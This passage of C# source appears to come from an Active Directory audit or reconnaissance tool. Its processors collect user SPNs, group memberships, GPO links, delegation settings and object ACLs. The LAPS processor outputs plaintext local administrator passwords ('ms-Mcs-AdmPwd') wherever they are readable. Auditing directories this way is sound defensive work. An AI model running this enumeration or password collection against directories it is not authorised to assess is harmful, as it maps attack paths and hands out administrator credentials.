Enabled = !((userFlags & UACFlags.ACCOUNTDISABLE) == UACFlags.ACCOUNTDISABLE);
}
if (Convert.ToString(AdUser.Members["pwdLastSet"].Value) != "0")
{
PasswordLastSet = DateTime.FromFileTime((long)AdUser.Members["pwdLastSet"].Value);
}
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection SPNs = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection)AdUser.Members["servicePrincipalName"].Value;
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection MemberOfAttribute = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection)AdUser.Members["memberof"].Value;
if (MemberOfAttribute.Value is System.String[])
{
foreach (String Member in (System.String[])MemberOfAttribute.Value)
{
Memberof = Memberof + "," + ((Convert.ToString(Member)).Split(',')[0]).Split('=')[1];
}
Memberof = Memberof.TrimStart(',');
}
else if (Memberof != null)
{
Memberof = ((Convert.ToString(MemberOfAttribute.Value)).Split(',')[0]).Split('=')[1];
}
String Description = CleanString(AdUser.Members["Description"].Value);
String PrimaryGroupID = Convert.ToString(AdUser.Members["primaryGroupID"].Value);
if (SPNs.Value is System.String[])
{
foreach (String SPN in (System.String[])SPNs.Value)
{
String[] SPNArray = SPN.Split('/');
PSObject UserSPNObj = new PSObject();
UserSPNObj.Members.Add(new PSNoteProperty("Name", AdUser.Members["Name"].Value));
UserSPNObj.Members.Add(new PSNoteProperty("Username", AdUser.Members["SamAccountName"].Value));
UserSPNObj.Members.Add(new PSNoteProperty("Enabled", Enabled));
UserSPNObj.Members.Add(new PSNoteProperty("Service", SPNArray[0]));
UserSPNObj.Members.Add(new PSNoteProperty("Host", SPNArray[1]));
UserSPNObj.Members.Add(new PSNoteProperty("Password Last Set", PasswordLastSet));
UserSPNObj.Members.Add(new PSNoteProperty("Description", Description));
UserSPNObj.Members.Add(new PSNoteProperty("Primary GroupID", PrimaryGroupID));
UserSPNObj.Members.Add(new PSNoteProperty("Memberof", Memberof));
SPNList.Add( UserSPNObj );
}
}
else
{
String[] SPNArray = Convert.ToString(SPNs.Value).Split('/');
PSObject UserSPNObj = new PSObject();
UserSPNObj.Members.Add(new PSNoteProperty("Name", AdUser.Members["Name"].Value));
UserSPNObj.Members.Add(new PSNoteProperty("Username", AdUser.Members["SamAccountName"].Value));
UserSPNObj.Members.Add(new PSNoteProperty("Enabled", Enabled));
UserSPNObj.Members.Add(new PSNoteProperty("Service", SPNArray[0]));
UserSPNObj.Members.Add(new PSNoteProperty("Host", SPNArray[1]));
UserSPNObj.Members.Add(new PSNoteProperty("Password Last Set", PasswordLastSet));
UserSPNObj.Members.Add(new PSNoteProperty("Description", Description));
UserSPNObj.Members.Add(new PSNoteProperty("Primary GroupID", PrimaryGroupID));
UserSPNObj.Members.Add(new PSNoteProperty("Memberof", Memberof));
SPNList.Add( UserSPNObj );
}
return SPNList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GroupRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdGroup = (PSObject) record;
string ManagedByValue = Convert.ToString(AdGroup.Members["managedBy"].Value);
string ManagedBy = "";
String SIDHistory = "";
if (AdGroup.Members["managedBy"].Value != null)
{
ManagedBy = (ManagedByValue.Split(',')[0]).Split('=')[1];
}
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection history = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) AdGroup.Members["SIDHistory"].Value;
if (history.Value is System.Security.Principal.SecurityIdentifier[])
{
string sids = "";
foreach (var value in (SecurityIdentifier[]) history.Value)
{
sids = sids + "," + Convert.ToString(value);
}
SIDHistory = sids.TrimStart(',');
}
else
{
SIDHistory = history != null ? Convert.ToString(history.Value) : "";
}
PSObject GroupObj = new PSObject();
GroupObj.Members.Add(new PSNoteProperty("Name", AdGroup.Members["SamAccountName"].Value));
GroupObj.Members.Add(new PSNoteProperty("AdminCount", AdGroup.Members["AdminCount"].Value));
GroupObj.Members.Add(new PSNoteProperty("GroupCategory", AdGroup.Members["GroupCategory"].Value));
GroupObj.Members.Add(new PSNoteProperty("GroupScope", AdGroup.Members["GroupScope"].Value));
GroupObj.Members.Add(new PSNoteProperty("ManagedBy", ManagedBy));
GroupObj.Members.Add(new PSNoteProperty("SID", AdGroup.Members["sid"].Value));
GroupObj.Members.Add(new PSNoteProperty("SIDHistory", SIDHistory));
GroupObj.Members.Add(new PSNoteProperty("Description", CleanString(AdGroup.Members["Description"].Value)));
GroupObj.Members.Add(new PSNoteProperty("whenCreated", AdGroup.Members["whenCreated"].Value));
GroupObj.Members.Add(new PSNoteProperty("whenChanged", AdGroup.Members["whenChanged"].Value));
GroupObj.Members.Add(new PSNoteProperty("DistinguishedName", CleanString(AdGroup.Members["DistinguishedName"].Value)));
GroupObj.Members.Add(new PSNoteProperty("CanonicalName", AdGroup.Members["CanonicalName"].Value));
return new PSObject[] { GroupObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GroupRecordDictionaryProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdGroup = (PSObject) record;
ADWSClass.AdGroupDictionary.Add((Convert.ToString(AdGroup.Properties["SID"].Value)), (Convert.ToString(AdGroup.Members["SamAccountName"].Value)));
return new PSObject[] { };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GroupMemberRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
// based on https://github.com/BloodHoundAD/BloodHound/blob/master/PowerShell/BloodHound.ps1
PSObject AdGroup = (PSObject) record;
List<PSObject> GroupsList = new List<PSObject>();
string SamAccountType = Convert.ToString(AdGroup.Members["samaccounttype"].Value);
string AccountType = "";
string GroupName = "";
string MemberUserName = "-";
string MemberName = "";
if (Groups.Contains(SamAccountType))
{
AccountType = "group";
MemberName = ((Convert.ToString(AdGroup.Members["DistinguishedName"].Value)).Split(',')[0]).Split('=')[1];
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection MemberGroups = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection)AdGroup.Members["memberof"].Value;
if (MemberGroups.Value != null)
{
if (MemberGroups.Value is System.String[])
{
foreach (String GroupMember in (System.String[])MemberGroups.Value)
{
GroupName = ((Convert.ToString(GroupMember)).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
else
{
GroupName = (Convert.ToString(MemberGroups.Value).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
}
if (Users.Contains(SamAccountType))
{
AccountType = "user";
MemberName = ((Convert.ToString(AdGroup.Members["DistinguishedName"].Value)).Split(',')[0]).Split('=')[1];
MemberUserName = Convert.ToString(AdGroup.Members["sAMAccountName"].Value);
String PrimaryGroupID = Convert.ToString(AdGroup.Members["primaryGroupID"].Value);
try
{
GroupName = ADWSClass.AdGroupDictionary[ADWSClass.DomainSID + "-" + PrimaryGroupID];
}
catch //(Exception e)
{
//Console.WriteLine("{0} Exception caught.", e);
GroupName = PrimaryGroupID;
}
{
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection MemberGroups = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection)AdGroup.Members["memberof"].Value;
if (MemberGroups.Value != null)
{
if (MemberGroups.Value is System.String[])
{
foreach (String GroupMember in (System.String[])MemberGroups.Value)
{
GroupName = ((Convert.ToString(GroupMember)).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
else
{
GroupName = (Convert.ToString(MemberGroups.Value).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
}
if (Computers.Contains(SamAccountType))
{
AccountType = "computer";
MemberName = ((Convert.ToString(AdGroup.Members["DistinguishedName"].Value)).Split(',')[0]).Split('=')[1];
MemberUserName = Convert.ToString(AdGroup.Members["sAMAccountName"].Value);
String PrimaryGroupID = Convert.ToString(AdGroup.Members["primaryGroupID"].Value);
try
{
GroupName = ADWSClass.AdGroupDictionary[ADWSClass.DomainSID + "-" + PrimaryGroupID];
}
catch //(Exception e)
{
//Console.WriteLine("{0} Exception caught.", e);
GroupName = PrimaryGroupID;
}
{
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection MemberGroups = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection)AdGroup.Members["memberof"].Value;
if (MemberGroups.Value != null)
{
if (MemberGroups.Value is System.String[])
{
foreach (String GroupMember in (System.String[])MemberGroups.Value)
{
GroupName = ((Convert.ToString(GroupMember)).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
else
{
GroupName = (Convert.ToString(MemberGroups.Value).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
}
if (TrustAccounts.Contains(SamAccountType))
{
// TO DO
}
return GroupsList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class OURecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdOU = (PSObject) record;
PSObject OUObj = new PSObject();
OUObj.Members.Add(new PSNoteProperty("Name", AdOU.Members["Name"].Value));
OUObj.Members.Add(new PSNoteProperty("Depth", ((Convert.ToString(AdOU.Members["DistinguishedName"].Value).Split(new string[] { "OU=" }, StringSplitOptions.None)).Length -1)));
OUObj.Members.Add(new PSNoteProperty("Description", AdOU.Members["Description"].Value));
OUObj.Members.Add(new PSNoteProperty("whenCreated", AdOU.Members["whenCreated"].Value));
OUObj.Members.Add(new PSNoteProperty("whenChanged", AdOU.Members["whenChanged"].Value));
OUObj.Members.Add(new PSNoteProperty("DistinguishedName", AdOU.Members["DistinguishedName"].Value));
return new PSObject[] { OUObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GPORecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdGPO = (PSObject) record;
PSObject GPOObj = new PSObject();
GPOObj.Members.Add(new PSNoteProperty("DisplayName", CleanString(AdGPO.Members["DisplayName"].Value)));
GPOObj.Members.Add(new PSNoteProperty("GUID", CleanString(AdGPO.Members["Name"].Value)));
GPOObj.Members.Add(new PSNoteProperty("whenCreated", AdGPO.Members["whenCreated"].Value));
GPOObj.Members.Add(new PSNoteProperty("whenChanged", AdGPO.Members["whenChanged"].Value));
GPOObj.Members.Add(new PSNoteProperty("DistinguishedName", CleanString(AdGPO.Members["DistinguishedName"].Value)));
GPOObj.Members.Add(new PSNoteProperty("FilePath", AdGPO.Members["gPCFileSysPath"].Value));
return new PSObject[] { GPOObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GPORecordDictionaryProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdGPO = (PSObject) record;
ADWSClass.AdGPODictionary.Add((Convert.ToString(AdGPO.Members["DistinguishedName"].Value).ToUpper()), (Convert.ToString(AdGPO.Members["DisplayName"].Value)));
return new PSObject[] { };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class SOMRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdSOM = (PSObject) record;
List<PSObject> SOMsList = new List<PSObject>();
int Depth = 0;
bool BlockInheritance = false;
bool? LinkEnabled = null;
bool? Enforced = null;
String gPLink = Convert.ToString(AdSOM.Members["gPLink"].Value);
String GPOName = null;
Depth = (Convert.ToString(AdSOM.Members["DistinguishedName"].Value).Split(new string[] { "OU=" }, StringSplitOptions.None)).Length -1;
if (AdSOM.Members["gPOptions"].Value != null && (int) AdSOM.Members["gPOptions"].Value == 1)
{
BlockInheritance = true;
}
var GPLinks = gPLink.Split(']', '[').Where(x => x.StartsWith("LDAP"));
int Order = (GPLinks.ToArray()).Length;
if (Order == 0)
{
PSObject SOMObj = new PSObject();
SOMObj.Members.Add(new PSNoteProperty("Name", AdSOM.Members["Name"].Value));
SOMObj.Members.Add(new PSNoteProperty("Depth", Depth));
SOMObj.Members.Add(new PSNoteProperty("DistinguishedName", AdSOM.Members["DistinguishedName"].Value));
SOMObj.Members.Add(new PSNoteProperty("Link Order", null));
SOMObj.Members.Add(new PSNoteProperty("GPO", GPOName));
SOMObj.Members.Add(new PSNoteProperty("Enforced", Enforced));
SOMObj.Members.Add(new PSNoteProperty("Link Enabled", LinkEnabled));
SOMObj.Members.Add(new PSNoteProperty("BlockInheritance", BlockInheritance));
SOMObj.Members.Add(new PSNoteProperty("gPLink", gPLink));
SOMObj.Members.Add(new PSNoteProperty("gPOptions", AdSOM.Members["gPOptions"].Value));
SOMsList.Add( SOMObj );
}
foreach (String link in GPLinks)
{
String[] linksplit = link.Split('/', ';');
if (!Convert.ToBoolean((Convert.ToInt32(linksplit[3]) & 1)))
{
LinkEnabled = true;
}
else
{
LinkEnabled = false;
}
if (Convert.ToBoolean((Convert.ToInt32(linksplit[3]) & 2)))
{
Enforced = true;
}
else
{
Enforced = false;
}
GPOName = ADWSClass.AdGPODictionary.ContainsKey(linksplit[2].ToUpper()) ? ADWSClass.AdGPODictionary[linksplit[2].ToUpper()] : linksplit[2].Split('=',',')[1];
PSObject SOMObj = new PSObject();
SOMObj.Members.Add(new PSNoteProperty("Name", AdSOM.Members["Name"].Value));
SOMObj.Members.Add(new PSNoteProperty("Depth", Depth));
SOMObj.Members.Add(new PSNoteProperty("DistinguishedName", AdSOM.Members["DistinguishedName"].Value));
SOMObj.Members.Add(new PSNoteProperty("Link Order", Order));
SOMObj.Members.Add(new PSNoteProperty("GPO", GPOName));
SOMObj.Members.Add(new PSNoteProperty("Enforced", Enforced));
SOMObj.Members.Add(new PSNoteProperty("Link Enabled", LinkEnabled));
SOMObj.Members.Add(new PSNoteProperty("BlockInheritance", BlockInheritance));
SOMObj.Members.Add(new PSNoteProperty("gPLink", gPLink));
SOMObj.Members.Add(new PSNoteProperty("gPOptions", AdSOM.Members["gPOptions"].Value));
SOMsList.Add( SOMObj );
Order--;
}
return SOMsList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class PrinterRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdPrinter = (PSObject) record;
PSObject PrinterObj = new PSObject();
PrinterObj.Members.Add(new PSNoteProperty("Name", AdPrinter.Members["Name"].Value));
PrinterObj.Members.Add(new PSNoteProperty("ServerName", AdPrinter.Members["serverName"].Value));
PrinterObj.Members.Add(new PSNoteProperty("ShareName", ((Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) (AdPrinter.Members["printShareName"].Value)).Value));
PrinterObj.Members.Add(new PSNoteProperty("DriverName", AdPrinter.Members["driverName"].Value));
PrinterObj.Members.Add(new PSNoteProperty("DriverVersion", AdPrinter.Members["driverVersion"].Value));
PrinterObj.Members.Add(new PSNoteProperty("PortName", ((Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) (AdPrinter.Members["portName"].Value)).Value));
PrinterObj.Members.Add(new PSNoteProperty("URL", ((Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) (AdPrinter.Members["url"].Value)).Value));
PrinterObj.Members.Add(new PSNoteProperty("whenCreated", AdPrinter.Members["whenCreated"].Value));
PrinterObj.Members.Add(new PSNoteProperty("whenChanged", AdPrinter.Members["whenChanged"].Value));
return new PSObject[] { PrinterObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class ComputerRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdComputer = (PSObject) record;
int? DaysSinceLastLogon = null;
int? DaysSinceLastPasswordChange = null;
bool Dormant = false;
bool PasswordNotChangedafterMaxAge = false;
String SIDHistory = "";
String DelegationType = null;
String DelegationProtocol = null;
String DelegationServices = null;
DateTime? LastLogonDate = null;
DateTime? PasswordLastSet = null;
if (AdComputer.Members["LastLogonDate"].Value != null)
{
//LastLogonDate = DateTime.FromFileTime((long)(AdComputer.Members["lastLogonTimeStamp"].Value));
// LastLogonDate is lastLogonTimeStamp converted to local time
LastLogonDate = Convert.ToDateTime(AdComputer.Members["LastLogonDate"].Value);
DaysSinceLastLogon = Math.Abs((Date1 - (DateTime)LastLogonDate).Days);
if (DaysSinceLastLogon > DormantTimeSpan)
{
Dormant = true;
}
}
if (AdComputer.Members["PasswordLastSet"].Value != null)
{
//PasswordLastSet = DateTime.FromFileTime((long)(AdComputer.Members["pwdLastSet"].Value));
// PasswordLastSet is pwdLastSet converted to local time
PasswordLastSet = Convert.ToDateTime(AdComputer.Members["PasswordLastSet"].Value);
DaysSinceLastPasswordChange = Math.Abs((Date1 - (DateTime)PasswordLastSet).Days);
if (DaysSinceLastPasswordChange > PassMaxAge)
{
PasswordNotChangedafterMaxAge = true;
}
}
if ( ((bool) AdComputer.Members["TrustedForDelegation"].Value) && ((int) AdComputer.Members["primaryGroupID"].Value == 515) )
{
DelegationType = "Unconstrained";
DelegationServices = "Any";
}
if (AdComputer.Members["msDS-AllowedToDelegateTo"] != null)
{
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection delegateto = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) AdComputer.Members["msDS-AllowedToDelegateTo"].Value;
if (delegateto.Value != null)
{
DelegationType = "Constrained";
if (delegateto.Value is System.String[])
{
foreach (var value in (String[]) delegateto.Value)
{
DelegationServices = DelegationServices + "," + Convert.ToString(value);
}
DelegationServices = DelegationServices.TrimStart(',');
}
else
{
DelegationServices = Convert.ToString(delegateto.Value);
}
}
}
if ((bool) AdComputer.Members["TrustedToAuthForDelegation"].Value)
{
DelegationProtocol = "Any";
}
else if (DelegationType != null)
{
DelegationProtocol = "Kerberos";
}
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection history = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection) AdComputer.Members["SIDHistory"].Value;
if (history.Value is System.Security.Principal.SecurityIdentifier[])
{
string sids = "";
foreach (var value in (SecurityIdentifier[]) history.Value)
{
sids = sids + "," + Convert.ToString(value);
}
SIDHistory = sids.TrimStart(',');
}
else
{
SIDHistory = history != null ? Convert.ToString(history.Value) : "";
}
String OperatingSystem = CleanString((AdComputer.Members["OperatingSystem"].Value != null ? AdComputer.Members["OperatingSystem"].Value : "-") + " " + AdComputer.Members["OperatingSystemHotfix"].Value + " " + AdComputer.Members["OperatingSystemServicePack"].Value + " " + AdComputer.Members["OperatingSystemVersion"].Value);
PSObject ComputerObj = new PSObject();
ComputerObj.Members.Add(new PSNoteProperty("Name", AdComputer.Members["Name"].Value));
ComputerObj.Members.Add(new PSNoteProperty("DNSHostName", AdComputer.Members["DNSHostName"].Value));
ComputerObj.Members.Add(new PSNoteProperty("Enabled", AdComputer.Members["Enabled"].Value));
ComputerObj.Members.Add(new PSNoteProperty("IPv4Address", AdComputer.Members["IPv4Address"].Value));
ComputerObj.Members.Add(new PSNoteProperty("Operating System", OperatingSystem));
ComputerObj.Members.Add(new PSNoteProperty("Logon Age (days)", DaysSinceLastLogon));
ComputerObj.Members.Add(new PSNoteProperty("Password Age (days)", DaysSinceLastPasswordChange));
ComputerObj.Members.Add(new PSNoteProperty("Dormant (> " + DormantTimeSpan + " days)", Dormant));
ComputerObj.Members.Add(new PSNoteProperty("Password Age (> " + PassMaxAge + " days)", PasswordNotChangedafterMaxAge));
ComputerObj.Members.Add(new PSNoteProperty("Delegation Type", DelegationType));
ComputerObj.Members.Add(new PSNoteProperty("Delegation Protocol", DelegationProtocol));
ComputerObj.Members.Add(new PSNoteProperty("Delegation Services", DelegationServices));
ComputerObj.Members.Add(new PSNoteProperty("UserName", AdComputer.Members["SamAccountName"].Value));
ComputerObj.Members.Add(new PSNoteProperty("Primary Group ID", AdComputer.Members["primaryGroupID"].Value));
ComputerObj.Members.Add(new PSNoteProperty("SID", AdComputer.Members["SID"].Value));
ComputerObj.Members.Add(new PSNoteProperty("SIDHistory", SIDHistory));
ComputerObj.Members.Add(new PSNoteProperty("Description", AdComputer.Members["Description"].Value));
ComputerObj.Members.Add(new PSNoteProperty("ms-ds-CreatorSid", AdComputer.Members["ms-ds-CreatorSid"].Value));
ComputerObj.Members.Add(new PSNoteProperty("Last Logon Date", LastLogonDate));
ComputerObj.Members.Add(new PSNoteProperty("Password LastSet", PasswordLastSet));
ComputerObj.Members.Add(new PSNoteProperty("UserAccountControl", AdComputer.Members["UserAccountControl"].Value));
ComputerObj.Members.Add(new PSNoteProperty("whenCreated", AdComputer.Members["whenCreated"].Value));
ComputerObj.Members.Add(new PSNoteProperty("whenChanged", AdComputer.Members["whenChanged"].Value));
ComputerObj.Members.Add(new PSNoteProperty("Distinguished Name", AdComputer.Members["DistinguishedName"].Value));
return new PSObject[] { ComputerObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class ComputerSPNRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdComputer = (PSObject) record;
List<PSObject> SPNList = new List<PSObject>();
Microsoft.ActiveDirectory.Management.ADPropertyValueCollection SPNs = (Microsoft.ActiveDirectory.Management.ADPropertyValueCollection)AdComputer.Members["servicePrincipalName"].Value;
if (SPNs.Value is System.String[])
{
foreach (String SPN in (System.String[])SPNs.Value)
{
bool flag = true;
String[] SPNArray = SPN.Split('/');
foreach (PSObject Obj in SPNList)
{
if ( (String) Obj.Members["Service"].Value == SPNArray[0] )
{
Obj.Members["Host"].Value = String.Join(",", (Obj.Members["Host"].Value + "," + SPNArray[1]).Split(',').Distinct().ToArray());
flag = false;
}
}
if (flag)
{
PSObject ComputerSPNObj = new PSObject();
ComputerSPNObj.Members.Add(new PSNoteProperty("Name", AdComputer.Members["Name"].Value));
ComputerSPNObj.Members.Add(new PSNoteProperty("Service", SPNArray[0]));
ComputerSPNObj.Members.Add(new PSNoteProperty("Host", SPNArray[1]));
SPNList.Add( ComputerSPNObj );
}
}
}
else
{
String[] SPNArray = Convert.ToString(SPNs.Value).Split('/');
PSObject ComputerSPNObj = new PSObject();
ComputerSPNObj.Members.Add(new PSNoteProperty("Name", AdComputer.Members["Name"].Value));
ComputerSPNObj.Members.Add(new PSNoteProperty("Service", SPNArray[0]));
ComputerSPNObj.Members.Add(new PSNoteProperty("Host", SPNArray[1]));
SPNList.Add( ComputerSPNObj );
}
return SPNList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class LAPSRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdComputer = (PSObject) record;
bool PasswordStored = false;
DateTime? CurrentExpiration = null;
try
{
CurrentExpiration = DateTime.FromFileTime((long)(AdComputer.Members["ms-Mcs-AdmPwdExpirationTime"].Value));
PasswordStored = true;
}
catch //(Exception e)
{
//Console.WriteLine("{0} Exception caught.", e);
}
PSObject LAPSObj = new PSObject();
LAPSObj.Members.Add(new PSNoteProperty("Hostname", (AdComputer.Members["DNSHostName"].Value != null ? AdComputer.Members["DNSHostName"].Value : AdComputer.Members["CN"].Value )));
LAPSObj.Members.Add(new PSNoteProperty("Stored", PasswordStored));
LAPSObj.Members.Add(new PSNoteProperty("Readable", (AdComputer.Members["ms-Mcs-AdmPwd"].Value != null ? true : false)));
LAPSObj.Members.Add(new PSNoteProperty("Password", AdComputer.Members["ms-Mcs-AdmPwd"].Value));
LAPSObj.Members.Add(new PSNoteProperty("Expiration", CurrentExpiration));
return new PSObject[] { LAPSObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class SIDRecordDictionaryProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdObject = (PSObject) record;
switch (Convert.ToString(AdObject.Members["ObjectClass"].Value))
{
case "user":
case "computer":
case "group":
ADWSClass.AdSIDDictionary.Add(Convert.ToString(AdObject.Members["objectsid"].Value), Convert.ToString(AdObject.Members["Name"].Value));
break;
}
return new PSObject[] { };
}
catch (Exception e)
{
Console.WriteLine("{0} {1} Exception caught.", ((PSObject) record).Members["ObjectClass"].Value, e);
return new PSObject[] { };
}
}
}
class DACLRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
PSObject AdObject = (PSObject) record;
String Name = null;
String Type = null;
List<PSObject> DACLList = new List<PSObject>();
Name = Convert.ToString(AdObject.Members["Name"].Value);
switch (Convert.ToString(AdObject.Members["objectClass"].Value))
{
case "user":
Type = "User";
break;
case "computer":
Type = "Computer";
break;
case "group":
Type = "Group";
break;
case "container":
Type = "Container";
break;
case "groupPolicyContainer":
Type = "GPO";
Name = Convert.ToString(AdObject.Members["DisplayName"].Value);
break;
case "organizationalUnit":
Type = "OU";
break;
case "domainDNS":
Type = "Domain";
break;
default:
Type = Convert.ToString(AdObject.Members["objectClass"].Value);
break;
}
// When the user is not allowed to query the ntsecuritydescriptor attribute.
if (AdObject.Members["ntsecuritydescriptor"] != null)
{
DirectoryObjectSecurity DirObjSec = (DirectoryObjectSecurity) AdObject.Members["ntsecuritydescriptor"].Value;
AuthorizationRuleCollection AccessRules = (AuthorizationRuleCollection) DirObjSec.GetAccessRules(true,true,typeof(System.Security.Principal.NTAccount));
foreach (ActiveDirectoryAccessRule Rule in AccessRules)
{
String IdentityReference = Convert.ToString(Rule.IdentityReference);
String Owner = Convert.ToString(DirObjSec.GetOwner(typeof(System.Security.Principal.SecurityIdentifier)));
PSObject ObjectObj = new PSObject();
ObjectObj.Members.Add(new PSNoteProperty("Name", CleanString(Name)));
ObjectObj.Members.Add(new PSNoteProperty("Type", Type));
ObjectObj.Members.Add(new PSNoteProperty("ObjectTypeName", ADWSClass.GUIDs[Convert.ToString(Rule.ObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectTypeName", ADWSClass.GUIDs[Convert.ToString(Rule.InheritedObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("ActiveDirectoryRights", Rule.ActiveDirectoryRights));
ObjectObj.Members.Add(new PSNoteProperty("AccessControlType", Rule.AccessControlType));
ObjectObj.Members.Add(new PSNoteProperty("IdentityReferenceName", ADWSClass.AdSIDDictionary.ContainsKey(IdentityReference) ? ADWSClass.AdSIDDictionary[IdentityReference] : IdentityReference));
ObjectObj.Members.Add(new PSNoteProperty("OwnerName", ADWSClass.AdSIDDictionary.ContainsKey(Owner) ? ADWSClass.AdSIDDictionary[Owner] : Owner));
ObjectObj.Members.Add(new PSNoteProperty("Inherited", Rule.IsInherited));
ObjectObj.Members.Add(new PSNoteProperty("ObjectFlags", Rule.ObjectFlags));
ObjectObj.Members.Add(new PSNoteProperty("InheritanceFlags", Rule.InheritanceFlags));
